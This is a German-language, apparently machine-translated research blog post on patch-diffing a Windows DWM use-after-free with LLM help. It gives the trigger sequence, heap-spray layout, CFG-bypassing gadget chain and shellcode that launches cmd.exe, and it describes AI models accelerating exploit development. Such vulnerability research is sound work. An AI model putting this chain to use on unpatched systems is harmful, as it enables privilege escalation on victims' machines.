Joe Desimone

Patch diff zu SYSTEM

Unter Verwendung von LLMs und Patch-Diffing beschreibt diese Studie eine Use-After-Free-Schwachstelle in Windows DWM und demonstriert einen zuverlässigen Exploit, der eine Eskalation von Benutzerrechten mit geringen Berechtigungen bis hin zu SYSTEM-Rechten ermöglicht.

9 Minuten LesezeitAktivierung, Interna
Patch diff zu SYSTEM

Intro

Das Patch-Diffing fasziniert mich schon lange. Ich denke, ein Teil davon hat mit dem Wettlauf gegen die Zeit zu tun, mit dem Rückgängigmachen, Ausnutzen und dem Versuch, diesen „1-Tages“-Exploit-Status zu erreichen. Für fortgeschrittene Windows-Ziele haben Valentina Palmiotti und Ruben Boonen bereits vor fast 3 Jahren bewiesen , dass dies möglich war. Aber sie gehören zu den talentiertesten Exploit-Entwicklern der Welt. Können LLM-Abschlüsse die Leistungsfähigkeit von uns Normalsterblichen anheben? Zum Glück, und vielleicht auch ein bisschen beunruhigend, lautet die Antwort ja.

Die Jagd

Als das Bulletin für den Patch-Dienstag im Januar 2026 veröffentlicht wurde, begann ich mit meiner Suche, um eine der behobenen Sicherheitslücken zu identifizieren und (hoffentlich) einen funktionierenden Exploit dafür zu entwickeln. Ganz oben auf der Liste der Ziele standen alle Schwachstellen, von denen bereits bekannt war, dass sie in freier Wildbahn ausgenutzt wurden. Die im Januar veröffentlichten Patches enthielten eine Sicherheitslücke im Desktop Window Manager (DWM), die ein Informationsleck in freier Wildbahn ermöglichte und meine Aufmerksamkeit erregte. Es enthielt außerdem eine zweite DWM-Schwachstelle, die zu einer lokalen Rechteausweitung führen konnte. Historisch gesehen war DWM ein beliebtes Ziel für die Eskalation lokaler Privilegien. Manchmal kann es schwierig sein, die exakt gepatchte Komponente zu identifizieren, aber für DWM ist dwmcore.dll immer eine sichere Wahl.

Nachdem Ghidra mit den Dateien trainiert und für jede Funktion BSim-Vektoren extrahiert wurden, lassen sich die Unterschiede zwischen ihnen recht einfach hervorheben. Hinzu kommt, dass viele von Microsoft behobene Sicherheitslücken mit neuen Funktionsflags einhergehen. Selbstverständlich erledigte Opus 4.5 die Diff-Analyse im Handumdrehen und identifizierte innerhalb weniger Minuten eine der Schwachstellen.

======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================

An dieser Stelle muss ich sagen, dass die Entwicklung eines funktionsfähigen Exploits schmerzlich länger gedauert hat, als ich gehofft hatte. Ich habe viele lange Nächte und Wochenenden damit verbracht, das Modell immer wieder anzustupsen und weiterzuentwickeln. Das lag größtenteils an meiner mangelnden Vertrautheit mit der Fehlerklasse und dem zugehörigen Subsystem. Letztendlich konnten wir uns durchsetzen und RCE von niedrigen Berechtigungen in DWM und SYSTEM erlangen. Dabei entdeckte ich mehrere neuartige Exploitation-Techniken, wie den GetRECT-Spray, neue Gadget-Ketten und einen DWM-zu-SYSTEM-Pfad. Mit diesen Techniken (und einigen anderen Werkzeugen) und neueren Modellversionen wie Opus 4.6 verkürzte sich die Zeitspanne von der Entdeckung einer UAF-Schwachstelle in DWM bis zur funktionsfähigen Ausnutzung von 3 Wochen auf wenige Stunden.

Der Käfer

Die Schwachstelle ist ein Use-After-Free in CSynchronousSuperWetInk::~CSynchronousSuperWetInk. Der Destruktor entfernt das Objekt aus CSuperWetInkManager abhängig vom Rückgabewert von IsSuperWetCompatible().

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this->vtable = &_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
    }
    // ... cleanup continues
}

Der anfällige Destruktor in dwmcore.dll Version 10.0.26100.7309.

IsSuperWetCompatible Condition

bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
        this->clipEntry != NULL && this->comObject != NULL) {
        return true;
    }
    return false;
}

Die IsSuperWetCompatible-Bedingung in dwmcore.dll Version 10.0.26100.7309.

Die Funktion gibt true nur dann zurück, wenn LookupMode gleich 2 ist oder notifier1 gesetzt ist UND sowohl clipEntry als auch comObject nicht null sind.

Der Käfer

Ein Angreifer kann:

  1. Registrieren Sie ein CSynchronousSuperWetInk beim Manager (erfordert LookupMode=2 während Draw())
  2. Ändere LookupMode in 0 über CMD_SET_PROPERTY
  3. Auslöserzerstörung durch CMD_RELEASE_RESOURCE
  4. IsSuperWetCompatible() Gibt FALSE zurück → RemoveSource() wird übersprungen
  5. Ein baumelnder Zeiger bleibt zurück in CSuperWetInkManager::localStrokesVector

Wenn DWM diesen Vektor später durchläuft (z. B. in DirtyActiveInk), wird die Vtable des freigegebenen Objekts dereferenziert, was zu einer kontrollierten Codeausführung führt.

Die Lösung

Der Patch fügt ein Feature-Flag hinzu (Feature_1732988217). Wenn RemoveSource() aktiviert ist, wird es bedingungslos aufgerufen, unabhängig von IsSuperWetCompatible(). Dadurch wird sichergestellt, dass das Objekt bei der Zerstörung stets ordnungsgemäß vom Manager abgemeldet wird, wodurch der hängende Zeiger beseitigt wird.

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &_vftable_;
    bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}

Der korrigierte Destruktor in dwmcore.dll Version 10.0.26100.7623.

Die Ausbeutung

Der UAF kann von einer regulären Benutzermodusanwendung über die DirectComposition-API ausgelöst werden. Für den Angriff sind keine besonderen Berechtigungen erforderlich.

Voraussetzungen

  1. D3D11/DXGI-Infrastruktur: Erstellen Sie ein D3D11-Gerät mit BGRA-Unterstützung und einer Swap-Chain für ein sichtbares Fenster.
  2. DirectComposition Device: Initialisierung über DCompositionCreateDevice() mit dem DXGI-Gerät.
  3. NtDComposition Syscall Access: Hook oder direkter Aufruf von NtDCompositionProcessChannelBatchBuffer und NtDCompositionCommitChannel über win32u.dll , um rohe Batch-Pufferbefehle einzufügen.

Auslösesequenz

Schritt 1: Tintenspur erstellen (CSynchronousSuperWetInk zuweisen)

Führe eine Abfrage IDCompositionInkTrailDevice vom DirectComposition-Gerät durch und rufe dann CreateDelegatedInkTrailForSwapChain() oder CreateDelegatedInkTrail() auf. Dies allokiert ein CSynchronousSuperWetInk -Objekt (Ressourcentyp 0xa8) im Heap von dwm.exe.

Schritt 2: Visual erstellen und LookupMode=2 festlegen

Batch-Pufferbefehle einfügen an:

  1. Erstelle ein CSuperWetInkVisual (Typ 0xa5) mit CMD_CREATE_RESOURCE (0x02)
  2. Visuelle Verbindung zur Tintenquelle herstellen: CMD_SET_REFERENCE (0x10) mit propId 0x34
  3. Setze LookupMode=2 auf der Tintenquelle über CMD_SET_PROPERTY (0x0B) mit propId 10
  4. Verbindung zum Kompositionsbaum: CMD_SET_REFERENCE zu den Handles 1 und 2 (Kompositionsziel / Marshaller) mit propId 0x34

LookupMode=2 stellt sicher, dass IsSuperWetCompatible() während Draw() TRUE zurückgibt, wodurch das Objekt bei CSuperWetInkManager::localStrokesVector registriert wird.

Schritt 3: Renderframes zur Registrierung beim Manager

Mehrere Frames (IDXGISwapChain::Present) anzeigen und DirectComposition-Änderungen übernehmen. Dies löst die Render-Schleife von DWM aus, welche die Ink-Infrastruktur aufruft und den CSynchronousSuperWetInk -Zeiger im internen Vektor des Managers registriert.

Schritt 4: LookupMode=0 setzen (Entfernungsprüfung umgehen)

Füge CMD_SET_PROPERTY ein, um LookupMode in 0 zu ändern. Nun gibt IsSuperWetCompatible() FALSE zurück, weil:

if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)

Bei LookupMode = 0 und ohne Benachrichtigung ist die erste Bedingung nicht erfüllt.

Schritt 5: Tintenspur freigeben (Hängender Zeiger erstellen)

  1. Visuelle Referenzen trennen: CMD_SET_REFERENCE mit refHandle=0 für alle Verbindungen
  2. Die IDCompositionDelegatedInkTrail -Schnittstelle freigeben

Wenn der Destruktor ~CSynchronousSuperWetInk ausgeführt wird:

  • Es ruft IsSuperWetCompatible() auf, was FALSE zurückgibt (LookupMode=0).
  • RemoveSource() wird ÜBERSPRUNGEN
  • Das Objekt wird freigegeben, aber sein Zeiger bleibt in CSuperWetInkManager::localStrokesVector

Schritt 6: DirtyActiveInk auslösen (Use-After-Free)

Die Anzeige der Frames wird fortgesetzt und das Fenster wird ungültig gemacht. Die Kompositionsschleife von DWM ruft CSuperWetInkManager::DirtyActiveInk() auf, welche localStrokesVector durchläuft und den verwaisten Zeiger dereferenziert:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);

Crashverhalten

Ohne Heap-Spray stürzt DWM beim Zugriff auf freigegebenen Speicher ab:

 # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a

Wird der freigegebene Speicher von einem anderen Objekt (z. B. CInteractionTrackerScaleAnimation) wiederverwendet, tritt der Absturz an einer unerwarteten Stelle in der virtuellen Speichertabelle auf:

kd> dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24

Durch die Kontrolle darüber, welche Daten den freigegebenen Speicherplatz wieder beanspruchen, kann ein Angreifer eine gefälschte vtable erstellen und über den virtuellen Aufruf bei vtable+0x50 beliebigen Code ausführen.

Haufenspray

Um die UAF auszunutzen, müssen wir die freigegebene CSynchronousSuperWetInk -Zuweisung mit vom Angreifer kontrollierten Daten, die eine gefälschte vtable enthalten, zurückgewinnen. Dieser Abschnitt dokumentiert die CRegionGeometry RECT-Pufferspray-Technik, die wir als GetRECT bezeichnen.

Eigenschaften des Zielobjekts

Eigentum„Value“ (Wert)
ObjektCSynchronousSuperWetInk
Größe0x120 (288 Bytes)
ZuteilungsfunktionDefaultHeap::AllocClearGetProcessHeap()
LFH- Eimer34 (273-288 Byte-Bereich)
Slots pro Teilsegment57

Sprühprimitiv: CRegionGeometry RECT-Puffer

Das Spray verwendet CRegionGeometry Ressourcen (Typ 0x81) mit RECT-Array-Daten:

Eigentum„Value“ (Wert)
Ressourcentyp0x81 (CRegionGeometry)
Sprühgröße18 Rechtecke × 16 Bytes = 288 Bytes
Zuteilungsfunktionstd::_Allocate<16>HeapAlloc(GetProcessHeap(), 0, 288)
LFH-Eimer34, gleich dem Zielwert
Inhaltskontrolle72 int32-Werte (18 Rechtecke × 4 -Felder)

Zuteilungskette:

dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)

Der RECT-Puffer wird über CMD_SET_BUFFER_PROPERTY (0x0F) mit propId 5 beschrieben:

struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};

Rechteckiges Layout für ein gefälschtes Objekt

Die 18 RECTs (288 Bytes) ermöglichen die vollständige Kontrolle über den freigegebenen Speicher:

struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)

Hilfsfunktion zum Schreiben von 64-Bit-Werten in benachbarte RECT-Felder:

static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val & 0xFFFFFFFF);
    *hi = (int32_t)(val >> 32);
}

Ausbeutungsprimitiv

Die UAF liefert uns einen kontrollierten vtable-Aufruf, wobei RCX auf unser besprühtes Objekt verweist. Wenn DirtyActiveInk den hängenden Zeiger durchläuft:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray

Anrufstandort-Stack:

00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c

Status bei Versand registrieren:

  • RCX = Zeiger auf das besprühte Objekt (unsere kontrollierten 288 Bytes)
  • RIP = [[spray]+0x50] (Funktionszeiger aus einer simulierten vtable)

Zielfunktionsbeschränkungen

Zunächst gibt es zwei Einschränkungen hinsichtlich dessen, was wir nennen dürfen:

  1. Das Ziel muss in der CFG-Bitmap enthalten sein (als gültiges Aufrufziel markiert).
  2. Das Ziel muss einen Zeiger darauf haben (in der IAT, der vtable oder einem anderen lesbaren Speicher).

Wir können nicht direkt beliebige Adressen aufrufen; nur Funktionen, die beide Bedingungen erfüllen.

Gadget-Kette: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect

Da uns die UAF einen kontrollierten vtable-Aufruf (RIP = [[spray]+0x50], RCX = spray) ermöglicht, besteht die verbleibende Herausforderung darin, CFG-gültige Gadgets zu verketten, um die Ausführung beliebigen Codes zu erreichen. Die direkte Shellcode-Ausführung wird durch CFG blockiert, und es gibt kein Heap-Adressleck. Wir haben eine neuartige Gadget-Kette entwickelt, die beide Probleme löst, um die Codeausführung zu erreichen. Allerdings waren dafür 2 erfolgreiche Exploit-Versuche erforderlich, was die Zuverlässigkeit verringerte. Daher griffen wir auf eine bekannte öffentliche Methode zurück, die zwei Windows-System-DLL-Gadgets verwendet: __fnINSTRING (user32.dll) und CStdAsyncStubBuffer2_Disconnect (combase.dll).

Phase 1: __fnINSTRING - Kernel-Callback-Aufruf ohne Speicherleck

Der Windows-Kernel kommuniziert über die KernelCallbackTable (KCT), eine Funktionszeigertabelle, die im PEB an Offset +0x58 gespeichert ist, zurück mit dem Benutzermodus. Jeder Eintrag verweist auf einen __fn* -Handler in user32.dll. Diese Funktionen sind CFG-gültige Aufrufziele und verfügen über Zeiger auf sie im lesbaren Speicher (dem KCT selbst), wodurch beide Bedingungen erfüllt werden.

Wir setzen die gefälschte vtable auf &KCT[fnINSTRING_index] - 0x50. Wenn DirtyActiveInk [[spray]+0x50] dereferenziert, liest es den KCT-Eintrag und leitet an __fnINSTRING weiter:

[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &__fnINSTRING

Der Nutzen dieser Funktion liegt darin, was __fnINSTRING intern bewirkt. Es behandelt sein Argument (unseren Sprühpuffer) als eine _CAPTUREBUF -Struktur und ruft FixupCallbackPointers auf, bevor es die innere Funktion ausführt. FixupCallbackPointers liest eine Korrekturtabelle aus dem Puffer und wandelt relative Offsets in absolute Adressen um, indem die Basisadresse des Puffers addiert wird:

// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf->guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
    for (int i = 0; i < buf->fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}

Dadurch entfällt die Notwendigkeit eines Heap-Adresslecks. Wir betten relative Offsets in den Spray-Puffer ein und FixupCallbackPointers wandelt diese zur Laufzeit mithilfe der Adresse des Puffers in absolute Zeiger um. Nach der Korrektur sendet __fnINSTRING den inneren Funktionszeiger an +0x48 mit den Argumenten an +0x28 (RCX), +0x30 (EDX), +0x38 (R8) und +0x50 (R9).

Wir setzen die innere Funktion auf CStdAsyncStubBuffer2_Disconnect.

Phase 2: CStdAsyncStubBuffer2_Disconnect - Zwei verkettete Vtable-Aufrufe

CStdAsyncStubBuffer2_Disconnect wird von combase.dll exportiert, wodurch es CFG-gültig ist und eine stabile Adresse besitzt. Die Disassemblierung offenbart ein nützliches Primitiv: zwei aufeinanderfolgende vtable-Dispatches mit erhaltenen Argumentregistern:

; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET

RDX, R8 und R9 bleiben bei beiden Aufrufen erhalten und werden von der Argumentkonfiguration von __fnINSTRING unverändert übernommen. Dies gibt uns die volle Kontrolle über die ersten drei Argumente beider vtable-Aufrufe.

Vtable-Aufruf Nr. 1: VirtualProtect → RWX

Wir konstruieren ein selbstreferenzielles Fake-Objekt an der Position +0xC8 im Spray-Puffer: [+0xC8] zeigt auf sich selbst (nach der Korrektur), sodass beim Dereferenzieren [RCX] → [RCX+0x20] die Adresse von VirtualProtect aus +0xE8 gelesen wird. Die Argumente (die aus dem Dispatch __fnINSTRING erhalten geblieben sind) lauten:

Registrieren„Value“ (Wert)Zweck
RCXbase+0xC8 (fake_obj_1)lpAddress (Start des Sprühpufferbereichs)
RDX0x1000dwSize
R80x40flNewProtect (PAGE_EXECUTE_READWRITE)
R9Basis+0xC0lpflOldProtect (Ausgabeslot im Sprühpuffer)

Nach diesem Aufruf wird die Speicherseite des Spray-Puffers mit RWX markiert und die CFG-Bitmap aktualisiert, um die Ausführung aus diesem Bereich zu ermöglichen.

Vtable-Aufruf Nr. 2: Inline-Shellcode

Nachdem VirtualProtect zurückkehrt, lädt Disconnect [this+0x10] in RCX für den zweiten vtable-Dispatch:

XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0

Die Zeigerkette wird Schritt für Schritt aufgelöst:

  1. [this+0x10] = [base+0x90] = base+0xA0 (fake_obj_2)
  2. [RCX] = [base+0xA0] = base+0xA8, vtable-Zeiger von fake_obj_2 (nach der Korrektur)
  3. [RAX+0x10] = [base+0xB8] = base+0xD0, dritter Eintrag von vtable_2, der auf unseren Shellcode verweist.

Der letzte CALL guard_dispatch_icall -Aufruf führt zu base+0xD0, unserem Inline-Shellcode, der dank des vorhergehenden VirtualProtect-Aufrufs nun sowohl ausführbar als auch CFG-konform ist.

Shellcode-Layout

Der Shellcode ist in zwei Phasen unterteilt, da sich die VirtualProtect-Adressdaten an Position +0xE8 befinden (die von Aufruf #1 als vtable_1[0x20] verwendet werden), wodurch eine Lücke in der Mitte unseres ausführbaren Bereichs entsteht:

Phase 1 (+0xD0, 22 Bytes): Speichert RCX (Basis+0xA0) in RBX für spätere Adressarithmetik, allokiert Schattenspeicher, lädt SW_SHOW (5) in RDX, lädt die absolute Adresse von WinExec über movabs RAX und springt dann über die 8-Byte-Datenlücke bei +0xE8.

mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0

Phase 2 (+0xF0): Ruft WinExec mit einem RIPrelativen Zeiger auf die "cmd.exe\0" -Zeichenkette auf, die am Ende des Shellcodes eingebettet ist, entschärft den Spray für einen sicheren Wiedereintritt und führt dann eine Stack-Korrektur durch, um direkt zur Kompositionsschleife von DWM zurückzukehren:

lea  rcx, [rip+0x22]      ; rcx = &"cmd.exe"
call rax                   ; WinExec("cmd.exe", SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; "cmd.exe\0" embedded here

Die add rsp, 0xB8 verbessert die Zuverlässigkeit. Ein naiver add rsp, 0x28 würde zu CStdAsyncStubBuffer2_Disconnect zurückkehren, welches dann zu __fnINSTRING zurückkehren würde, welches NtCallbackReturn aufruft. Dieser Kernel-Callback-Rückkehrpfad kann im Kontext eines abgefangenen Aufrufs fehleranfällig sein. Durch Hinzufügen eines zusätzlichen 0x90 zur Stapelanpassung überspringt der Shellcode beide Zwischenframes vollständig und kehrt direkt zum Aufrufer von DirtyActiveInk in der DWM-Kompositionsschleife zurück.

Sichere Rückkehr: Entschärfung des Sprays

DWMs DirtyActiveInk kann den hängenden Zeiger mehr als einmal durchlaufen. Ohne Entschärfung würde jeder erneute Eintritt die gesamte Kette erneut auslösen und zum Absturz führen. Der Shellcode überschreibt den Vtable-Zeiger des Sprays, sodass nachfolgende Dereferenzierungen einen harmlosen Pfad nehmen:

  1. [base+0x00] wird mit base+0x08 überschrieben (neue gefälschte vtable)
  2. [base+0x58] wird an die Adresse einer ret -Anweisung überschrieben

Beim Wiedereintritt: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. Der vtable-Aufruf kehrt sofort zurück. __fnINSTRING wird nie erneut aufgerufen, da die vtable nicht mehr auf den KCT-Eintrag verweist.

Komplette Sprühanlage

Der vollständige 288-Byte-Sprühpuffer (18 Rechtecke) nach FixupCallbackPointers:

OffsetGrößeInhaltZweck
+0x008KCT_Eintrag - 0x50Gefälschte vtable → __fnINSTRING
+0x0848Reparaturanzahl
+0x1840x58Korrekturtabellenversatz
+0x208Basis (überarbeitet)Wache (blockiert Reparaturen)
+0x288base+0x80 (korrigiert)RCX → Trennen this
+0x3040x1000EDX → VirtualProtect dwSize
+0x3880x40R8 → PAGE_EXECUTE_READWRITE
+0x488&TrennenInnerer Funktionszeiger
+0x508base+0xC0 (korrigiert)R9 → lpflOldProtect
+0x5832Korrekturtabelle (8 Einträge)Zu patchende Offsets
+0x788base+0xC8 (korrigiert)[this-8] → fake_obj_1
+0x808(unbenutzt)Basis this trennen
+0x908base+0xA0 (korrigiert)[this+0x10] → fake_obj_2
+0xA08base+0xA8 (korrigiert)fake_obj_2 vtable
+0xB88base+0xD0 (korrigiert)vtable_2[0x10] → Shellcode
+0xC04(Ausgabe)VirtualProtect lpflOldProtect
+0xC88base+0xC8 (korrigiert)Selbstreferenzielle vtable (fake_obj_1)
+0xD022Shellcode-Phase 1Register speichern, WinExec laden, jmp
+0xE88&VirtualProtectvtable_1[0x20] Daten
+0xF048Shellcode-Phase 2WinExec + defuse + stack fixup + "cmd.exe\0"

Vollständige Kettenübersicht

DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec("cmd.exe", SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return

Der DWM-Prozess wird als DWM-Benutzer mit Systemintegrität ausgeführt. Bisherige öffentliche Verfahren zur Erlangung von SYSTEM-Rechten beinhalten typischerweise das Abfangen von Funktionszeigern, die in privilegierte Clientprozesse wie LogonUI oder Consent eingebunden sind. Allerdings scheint diese Technik kürzlich behoben worden zu sein, da der gemeinsam genutzte Abschnitt nun schreibgeschützt abgebildet ist. Wir haben einen neuen, alternativen Weg zu SYSTEM entwickelt, verzichten aber vorerst darauf, die Technik zu veröffentlichen.

Abschließende Gedanken

Die heutigen Modelle sind in hohem Maße leistungsfähig bei Aufgaben, die in der Vergangenheit ein tiefes, über viele Jahre erworbenes Fachwissen erforderten. Dazu gehören beispielsweise Reverse Engineering, das Aufspüren von Sicherheitslücken und die Entwicklung von Exploits. Ihre Fähigkeiten sind noch uneinheitlich und können sich in diesen Bereichen noch nicht mit den Besten der Welt messen. Der Fortschritt bei den Modellen scheint sich jedoch derzeit nicht zu verlangsamen. Dies schafft Chancengleichheit für die Verteidiger, erhöht aber gleichzeitig die Fähigkeiten der Angreifer. Obwohl es schon immer ein Katz-und-Maus-Spiel zwischen Gegnern gegeben hat und dies insofern nichts Neues ist, haben Angreifer zumindest kurzfristig einen asymmetrischen Vorteil, diese Werkzeuge zum Schaden einzusetzen. Angreifer können schneller agieren, ohne sich groß um die Sicherheit von KI-Systemen sorgen zu müssen. Die Verteidiger müssen KI offensiv gegen ihren Code (auf Schwachstellen), Sicherheitsprodukte (auf Erkennungslücken) und ihre Unternehmen (Angreifer-Emulation) einsetzen, um Schwächen zu finden und die Verteidigung zu verbessern, bevor die Angreifer dies tun. Leider sind es möglicherweise die kleinen Organisationen ohne Sicherheitsteams, die kurzfristig am stärksten unter den Folgen leiden werden. Ich hoffe, dass die Sicherheitsgemeinschaft langfristig gemeinsam mehr Geld für offensive und defensive Forschung ausgeben kann als die Angreifer und dass wir diese Ära in einer besseren Position verlassen, als wir sie begonnen haben.